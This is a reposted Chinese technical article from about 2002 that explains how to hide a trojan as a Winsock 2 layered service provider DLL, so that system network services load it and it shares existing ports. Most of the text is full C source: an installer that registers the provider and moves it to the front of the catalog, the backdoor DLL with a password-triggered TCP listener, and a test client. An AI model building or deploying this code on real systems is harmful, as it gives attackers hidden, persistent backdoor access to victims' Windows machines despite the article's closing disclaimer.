無進程DLL木馬的又一開發思路與實現

原文轉自:http://www.3800hk.com/news/w45/117715.html

一.Windows下進程的隱藏
二.Windows Socket 2 SPI技術概述
三.基於SPI的DLL木馬技術
四.主要代碼分析
五.小結與後記
六.附錄之源代碼

一)Windows下進程的隱藏
在M$的32位操作系統中,有許許多多的辦法可以實現進程隱藏的功能。在Win98下將程序註冊爲系統服務就可以實現在進程列表裏的隱藏,但是在NT/2000下,由於操作系統添加了許多特性使得進程的隱藏提到了一個新的高度。其中,DLL木馬是非常流行的一種形式,它將自己添加到其他可執行文件的進程裏,這樣在任務管理器裏就不會出現我們的DLL文件,而是我們DLL的載體EXE文件。在Jeffrey Richter大師的文章裏提到了好幾種插入DLL的方式,比如說在註冊表的AppInit_DLLs裏添加木馬DLL,特洛伊DLL方式,使用Windows掛鉤和遠程線程的插入等等,在此我就不做詳細介紹了。現在給大家介紹一種隱藏進程的新方法,它仍然是以DLL的形式存在的(同樣需要由其他可執行文件來加載),而且還具有無端口的特性。它就是使用了Windows Socket 2的新特性,服務提供者接口(Service Provider Interface),SPI試圖支持所有的32位Windows操作系統,當然也包括Windows95。

二)Windows Socket 2 SPI技術概述
Winsock 2 SPI是一個新特性,是爲書寫服務提供者的人員提供的。Winsock 2不僅提供了一個供應用程序訪問網絡服務的Windows socket應用程序編程接口(API),還包含了由傳輸服務提供者和名字解析服務提供者實現的Winsock服務提供者接口(SPI)和ws2_32.dll。在此以傳輸服務提供者爲例來實現進程的隱藏。如下是應用程序,Ws2_32.dll和傳輸服務提供者接口之間的層次關係:
----------------------------
|Windows socket 2 應用程序|
----------------------------Windows socket 2 API
| WS2_32.DLL |
----------------------------Windows socket 2 傳輸SPI
| 傳輸服務提供者(DLL) |
----------------------------
傳輸服務提供者是以DLL的形式存在的,它向外只有一個入口函數,那就是WSPStartup,其中的參數LPWSAPRTOCOL_INFOW結構指針決定了服務提供者的類型,其他的30個傳輸服務提供者函數是以分配表的方式調用的。當網絡應用程序調用WSASocket/socket函數創建套接字時,會有三個參數:地址族,套接字類型和協議,正是這三個參數共同決定了是由哪一個類型的傳輸服務提供者來實現本應用程序的功能。在整個層次結構中,Ws2_32.dll只是起到了媒介的作用,應用程序則是對用戶功能的實現,而真正實現網絡傳輸功能的是傳輸服務提供者接口。當前系統中有一些默認的服務提供者,它們已經實現了大部分基本的功能,所以我們自己在書寫服務提供者程序時,只須對數據報進行“修飾”後,將數據報傳送給系統服務提供者來實現剩下的功能。

服務提供者中有三種協議:分層協議,基礎協議和協議鏈。區分它們的方法是通過結構WSAPROTOCOL_INFOW中的Protocolchain結構的ChainLen值來實現的。分層協議的ChainLen值爲0,基礎協議的值爲1,而協議鏈的值是大於1。其實分層協議和基礎協議在功能實現上沒有太大的區別(均可通過調用系統服務提供者實現數據轉發),但是在安裝上卻有很大的不同。安裝基礎協議時我們把所有的基礎服務提供者的DLL文件名和路徑都替換爲我們自定義的基礎協議;而安裝分層協議後,我們還必須將和分層協議有關的各個協議組成協議鏈,然後再安裝協議鏈。在所有的服務提供者都安裝完後,我們還必須重新排列它們的安裝順序,這一點很重要。當我們的WSASocket/socket創建套接字時,Ws2_32.dll就會在服務提供者數據庫中按順序搜索和WSAStartup/socket提供的三個參數相匹配的服務提供者,如果同時有兩個相同類型的服務提供者存在於服務提供者數據庫中,那麼順序在前的那個服務提供者就會被調用。通常,在我們安裝完自己的服務提供者後,都會將自己的服務提供者重新排列在最前面。在實例instBD.exe中,我們以分層協議爲例,展示如何安裝傳輸服務提供者。

Ws2_32.dll是使用標準的動態鏈接庫來加載服務提供者接口的DLL到系統中去的,並調用WSPStartup來初始化。WSPStartup是Windows Socket 2應用程序調用SPI程序的初始化函數,也就是入口函數。WSPStartup的參數LPWSAPROTOCOL_INFOW指針提供應用程序所期望的協議信息,然後通過這個結構指針我們可以獲得所保存的系統服務提供者的DLL名稱和路徑,加載系統服務提供者後查找到系統SPI程序的WSPStartup函數的指針,通過這個指針我們就可以將自己服務提供者的WSPStartup函數和系統SPI程序的WSPStartup函數相關聯,進而調用系統的各個服務提供者函數。在數據傳輸服務提供者的實現中,我們需要兩個程序,一個是可執行文件用來安裝傳輸服務提供者;另一個就是DLL形式的數據傳輸服務提供者。

三)基於SPI的DLL木馬技術
上面我們已經介紹了傳輸服務提供者的特性,現在讓我們來看看如果將這種技術運用於木馬進程隱藏的。在每個操作系統中都有系統網絡服務,它們是在系統啓動時自動加載,而且很多是基於IP協議的。如果我們書寫了一個IP協議的傳輸服務提供者,並安裝在服務提供者數據庫的最前端,系統網絡服務就會加載我們的服務提供者。如果將木馬程序嵌入到服務提供者的DLL文件之中,在啓動系統網絡服務時我們的木馬程序也會被啓動。這種形式的DLL木馬只須被安裝一次,而後就會被自動加載到可執行文件的進程中,還有一個特點就是它會被多個網絡服務加載。通常在系統關閉時,系統網絡服務纔會結束,所以我們的木馬程序同樣可以在系統運行時保持激活狀態。
在傳輸服務提供者中,有30個SPI函數是以分配表的形式存在的。在Ws2_32.dll中的大多數函數都有與之對應的傳輸服務提供者函數。如WSPRecv和WSPSend,它們在Ws2_32.dll中的對應函數是WSARecv和WSASend。我們假設自己編寫了一個基於IP協議的服務提供者並安裝於系統之中,當系統重啓時它被svchost.exe程序加載了,而且svchost.exe在135/TCP監聽,完事具備了。在我們的傳輸服務提供者中,自己重新編寫了WSPRecv函數,對接收到的數據進行分析,如果其中含有客戶端發送過來的暗號,就執行相應的命令獲得期望的動作,之後我們可以調用WSPSend函數將結果發送到客戶端,這樣不僅隱藏了進程,而且還重用了已有的端口。

四)主要代碼分析
1.instBD.exe
可執行程序instBD.exe的主要功能是安裝我們自己的分層傳輸服務提供者,並重新排列所有傳輸服務提供者的順序,使我們的服務提供者位於協議鏈的頂端,這樣相應類型的應用程序就會首先進入我們的傳輸服務提供者接口。本程序只有一個參數,就是安裝(-install)或卸載(-remove)。作爲演示,本程序只安裝了IP分層協議及與TCP相關的協議鏈。在backdoor.dll中,我們不對數據報進行任何修飾,只是在啓動我們的木馬進程。
自定義函數:
BOOL getfilter(); //獲得所有已經安裝的傳輸服務提供者
void freefilter(); //釋放存儲空間
void installfilter(); //安裝分層協議,協議鏈及排序
void removefilter(); //卸載分層協議和協議鏈

代碼分析:
protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);
//分配WSAPROTOCOL_INFOW結構的存儲空間
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);
//獲得系統中已安裝的所有服務提供者
GetCurrentDirectory(MAX_PATH,filter_path);
//得到當前的路徑
_tcscpy(filter_name,_T("//backdoor.dll"));
//構造服務提供者文件backdoor.dll的路徑全名
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);
//安裝自定義的IP分層協議
iplayercataid=protoinfo[i].dwCatalogEntryId;
//獲得已安裝自定義IP分層協議的由Ws2_32.dll分配的唯一標誌
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
//將自定義的IP分層協議作爲自定義UDP協議鏈的根分層服務提供者安裝在協議鏈的頂端
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode);
//安裝協議鏈
WSCWriteProviderOrder(cataentries,totalprotos);
//更新所有服務提供者的安裝順序,把自定義的服務提供者排在所有協議的最前列
WSCDeinstallProvider(&filterguid,&errorcode);
//卸載IP分層協議
WSCDeinstallProvider(&filterchainguid,&errorcode);
//卸載協議鏈

2.backdoor.dll
傳輸服務提供者都是以動態鏈接庫的形式存在的,在應用程序需要時由Ws2_32.dll加載,在用完之後就被卸載。傳輸服務提供者只有一個入口函數就是WSPStartup,它是Windows Socket 應用程序調用SPI的初始化函數,其他SPI函數的調用都是通過WSPStartup的參數WSPUPCALLTABLE來實現的。其中有個全局變量,可共所有調用DLL的程序讀取與修改。在首次加載服務提供者時,我們啓動木馬進程。演示中木馬進程沒有任何特別的功能,當客戶端和監聽的服務器端口連接後,如果客戶端發送了特定的暗號,服務端就會回送特定的消息。
自定義函數:
int WSPAPI WSPStartup( WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable);
//SPI函數WSPStartup和Windows Socket 2的API函數WSAStartup相對應,WSPStartup是唯一的入口函數,剩下的30個SPI函數則是通過參數upcalltable來實現的,它們只能在內部調用,不向外提供入口

代碼分析:
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
//創建木馬進程,它只是展示數據的流通
GetModuleFileName(NULL,processname,MAX_PATH);
//獲得調用本服務提供者動態鏈接庫的可執行文件的全名
OutputDebugString(_T("Start the backdoor ..."));
//輸出調試信息
layerid=protoinfo[i].dwCatalogEntryId;
//獲得已安裝自定義IP分層協議的由Ws2_32.dll分配的唯一標誌
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
//獲得下一層傳輸服務提供者的標誌信息
WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);
//獲得下一層傳輸服務提供者的安裝路徑
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);
//擴展環境變量
hfilter=LoadLibrary(filterpath));
//裝載下一層傳輸服務提供者
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));
//獲得下一層傳輸服務提供者的入口函數WSPStartup,以便調用
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);
//調用下一層傳輸服務提供者的WSPStartup函數,實現鉤子功能
nextproctable=*lpproctable;
//保存下一層服務提供者的30個服務函數指針

由於以動態鏈接庫形式的服務提供者要向外提供一個入口函數,因此還須一個配置文件backdoor.def:
EXPORTS WSPStartup
//向外提供入口函數WSPStartup

3.testBD.exe
這是一個測試程序,用來檢測木馬的服務器端是否正常工作。在它發送特定的消息到服務器端後,如果服務器正常工作就會回送特定的消息,反之則不會收到任何消息。由於木馬的服務器在TCP的12345端口監聽,所以我們的客戶端也是基於TCP協議的。

五)小結與後記
本文的目的在於向大家介紹一種編程思路,固不是任何的木馬教程。其實只有在不斷的對抗中,技術和思路纔會不斷的提高。我們只有充分的瞭解了各種技術,甚至有前瞻的能力才能維護好網絡秩序,促進網絡安全的發展。最後送給大家一句老話:知己知彼,百戰不殆。

六)附錄之源代碼
1.backdoor源代碼
#pragma data_seg("Shared")
int dllcount=0;
#pragma data_seg()
#pragma comment (linker,"/section:Shared,rws")

#define UNICODE
#define _UNICODE

#include <ws2spi.h>
#include <tchar.h>
#include <winsock2.h>

GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

LPWSAPROTOCOL_INFOW protoinfo=NULL;
WSPPROC_TABLE nextproctable;
DWORD protoinfosize=0;
HANDLE hmutex;
HANDLE hthread;
POINT nowpt;
int totalprotos=0;

DWORD WINAPI backdoor(LPVOID)
{
SOCKET sock,sockt;
WSADATA wsa;
int iret=0;
char msg[25];
struct sockaddr_in sin;

if(WSAStartup(MAKEWORD(2,2),&wsa))
{
OutputDebugString(_T("WSAStartup Error!"));
return 0;
}

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
OutputDebugString(_T("Socket Error!"));
return 0;
}

sin.sin_addr.s_addr=htons(INADDR_ANY);
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);

if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString(_T("Bind Error!"));
return 0;
}

if(listen(sock,5)==SOCKET_ERROR)
{
OutputDebugString(_T("Listen Error!"));
return 0;
}

while(1)
{
if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
{
OutputDebugString(_T("Accept Error!"));
continue;
}

if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Recv Error!"));
closesocket(sockt);
continue;
}

if(strstr(msg,"i am TOo2y"))
{
memset(msg,0,sizeof(msg));
memcpy(msg,"i am waiting for you !",sizeof(msg)-1);

if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
{
OutputDebugString(_T("Send Error!"));
closesocket(sockt);
continue;
}
}
OutputDebugString(_T("Transport Successfully"));
closesocket(sockt);
}
return 1;
}

BOOL getfilter()
{
int errorcode;

protoinfo=NULL;
protoinfosize=0;
totalprotos=0;

if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
OutputDebugString(_T("First WSCEnumProtocols Error!"));
return FALSE;
}
}

if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
OutputDebugString(_T("GlobalAlloc Error!"));
return FALSE;
}

if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
OutputDebugString(_T("Second WSCEnumProtocols Error!"));
return FALSE;
}

return TRUE;
}

void freefilter()
{
GlobalFree(protoinfo);
}

BOOL WINAPI DllMain(HINSTANCE hmodule,
DWORD reason,
LPVOID lpreserved)
{
TCHAR processname[MAX_PATH];
TCHAR showmessage[MAX_PATH+25];

switch(reason)
{
case DLL_PROCESS_ATTACH:
{
GetModuleFileName(NULL,processname,MAX_PATH);
_tcscpy(showmessage,processname);
_tcscat(showmessage,_T(" Loading my dll ..."));
OutputDebugString(showmessage);

hmutex=CreateMutex(NULL,FALSE,NULL);
WaitForSingleObject(hmutex,INFINITE);
dllcount++;
if(dllcount==1)
{
OutputDebugString(_T("Start the backdoor ..."));
hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
}
ReleaseMutex(hmutex);
break;
}
case DLL_PROCESS_DETACH:
{
WaitForSingleObject(hmutex,INFINITE);
dllcount--;
if(dllcount==0)
{
CloseHandle(hthread);
}
ReleaseMutex(hmutex);
CloseHandle(hthread);
break;
}
}
return TRUE;
}

int WSPAPI WSPStartup(
WORD wversionrequested,
LPWSPDATA lpwspdata,
LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,
LPWSPPROC_TABLE lpproctable)
{
int i;
int errorcode;
int filterpathlen;
DWORD layerid=0;
DWORD nextlayerid=0;
TCHAR *filterpath;
HINSTANCE hfilter;
LPWSPSTARTUP wspstartupfunc=NULL;

if(lpprotoinfo->ProtocolChain.ChainLen<=1)
{
OutputDebugString(_T("ChainLen<=1"));
return FALSE;
}

getfilter();

for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
layerid=protoinfo[i].dwCatalogEntryId;
break;
}
}

for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
{
if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
{
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
break;
}
}

filterpathlen=MAX_PATH;
filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);
for(i=0;i<totalprotos;i++)
{
if(nextlayerid==protoinfo[i].dwCatalogEntryId)
{
if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
{
OutputDebugString(_T("WSCGetProviderPath Error!"));
return WSAEPROVIDERFAILEDINIT;
}
break;
}
}

if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
{
OutputDebugString(_T("ExpandEnvironmentStrings Error!"));
return WSAEPROVIDERFAILEDINIT;
}

if((hfilter=LoadLibrary(filterpath))==NULL)
{
OutputDebugString(_T("LoadLibrary Error!"));
return WSAEPROVIDERFAILEDINIT;
}

if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
{
OutputDebugString(_T("GetProcessAddress Error!"));
return WSAEPROVIDERFAILEDINIT;
}

if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
{
OutputDebugString(_T("wspstartupfunc Error!"));
return errorcode;
}

nextproctable=*lpproctable;

freefilter();
return 0;
}

2.instBD源代碼
#define UNICODE
#define _UNICODE

#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <ws2spi.h>
#include <sporder.h>

GUID filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

GUID filterchainguid={0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

BOOL getfilter();
void freefilter();
void installfilter();
void removefilter();
void start();
void usage();

int totalprotos=0;
DWORD protoinfosize=0;
LPWSAPROTOCOL_INFOW protoinfo=NULL;

int main(int argc,char *argv[])
{
start();

if(argc==2)
{
if(!strcmp(argv[1],"-install"))
{
installfilter();
return 0;
}
else if(!strcmp(argv[1],"-remove"))
{
removefilter();
return 0;
}
}
usage();
return 0;
}

BOOL getfilter()
{
int errorcode;

protoinfo=NULL;
totalprotos=0;
protoinfosize=0;

if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
printf("First WSCEnumProtocols Error: %d/n",errorcode);
return FALSE;
}
}

if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
printf("GlobalAlloc in getfilter Error: %d/n",GetLastError());
return FALSE;
}

if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
printf("Second WSCEnumProtocols Error: %d/n",GetLastError());
return FALSE;
}

printf("Found %d protocols!/n",totalprotos);
return TRUE;
}

void freefilter()
{
GlobalFree(protoinfo);
}

void installfilter()
{
int i;
int provcnt;
int cataindex;
int errorcode;
BOOL rawip=FALSE;
BOOL tcpip=FALSE;
DWORD iplayercataid=0,tcporigcataid;
TCHAR filter_path[MAX_PATH];
TCHAR filter_name[MAX_PATH];
TCHAR chainname[WSAPROTOCOL_LEN+1];
LPDWORD cataentries;
WSAPROTOCOL_INFOW iplayerinfo,tcpchaininfo,chainarray[1];

getfilter();

for(i=0;i<totalprotos;i++)
{
if(!rawip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_IP)
{
rawip=TRUE;
memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}

if(!tcpip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_TCP)
{
tcpip=TRUE;
tcporigcataid=protoinfo[i].dwCatalogEntryId;
memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}
}

_tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER"));
iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;

if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
{
printf("GetCurrentDirectory Error: %d/n",GetLastError());
return ;
}
_tcscpy(filter_name,_TEXT("//backdoor.dll"));
_tcscat(filter_path,filter_name);

if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider Error: %d/n",errorcode);
return ;
}

freefilter();

getfilter();

for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
iplayercataid=protoinfo[i].dwCatalogEntryId;
break;
}
}

provcnt=0;
if(tcpip)
{
swprintf(chainname,_TEXT("TCP FILTER"));
_tcscpy(tcpchaininfo.szProtocol,chainname);
if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
{
tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;
}
else
{
for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)
{
tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];
}
}

tcpchaininfo.ProtocolChain.ChainLen++;
tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;

memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));
}

if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
{
printf("WSCInstallProvider for chain Error: %d/n",errorcode);
return ;
}

freefilter();

getfilter();

if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)
{
printf("GlobalAlloc int installfilter Error: %d/n",errorcode);
return ;
}

cataindex=0;
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0
|| memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}

for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0
&& memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}

if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)
{
printf("WSCWriteProviderOrder Error: %d/n",GetLastError());
return ;
}

freefilter();
}

void removefilter()
{
int errorcode;

if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)
{
printf("WSCDeinstall filterguid Error: %d/n",errorcode);
}

if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)
{
printf("WSCDeinstall filterchainguid Error: %d/n",errorcode);
}
return ;
}

void start()
{
printf("Install BackDoor, by TOo2y/n");
printf("E-mail: [email protected]/n");
printf("Homepage: www.safechina.net/n");
printf("Date: 11-3-2002/n/n");
return ;
}
void usage()
{
printf("instBD [ -install | -remove]/n");
return ;
}

3.testBD源代碼
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>

int main()
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in sin;
char msg[25]="i am TOo2y";
int iret;

printf("===[ Test for SPI BackDoor ]===/n");
printf("===[ TOo2y at 11-3-2002 ]===/n/n");

if(WSAStartup(MAKEWORD(2,2),&wsa))
{
printf("WSAStartup Error: %d/n",WSAGetLastError());
getche();
return -1;
}

if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket Error: %d/n",WSAGetLastError());
getche();
return -1;
}

sin.sin_addr.s_addr=inet_addr("127.0.0.1");
sin.sin_family=AF_INET;
sin.sin_port=htons(12345);

if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("Connect Error: %d/n",WSAGetLastError());
getche();
return -1;
}

if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
{
printf("Send Error: %d/n",WSAGetLastError());
getche();
return -1;
}

memset(msg,0,sizeof(msg));
if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
{
printf("Recv Error: %d/n",WSAGetLastError());
getche();
return -1;
}
printf("Re: ");
printf(msg);

closesocket(sock);
WSACleanup();
getche();
return 0;
}

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章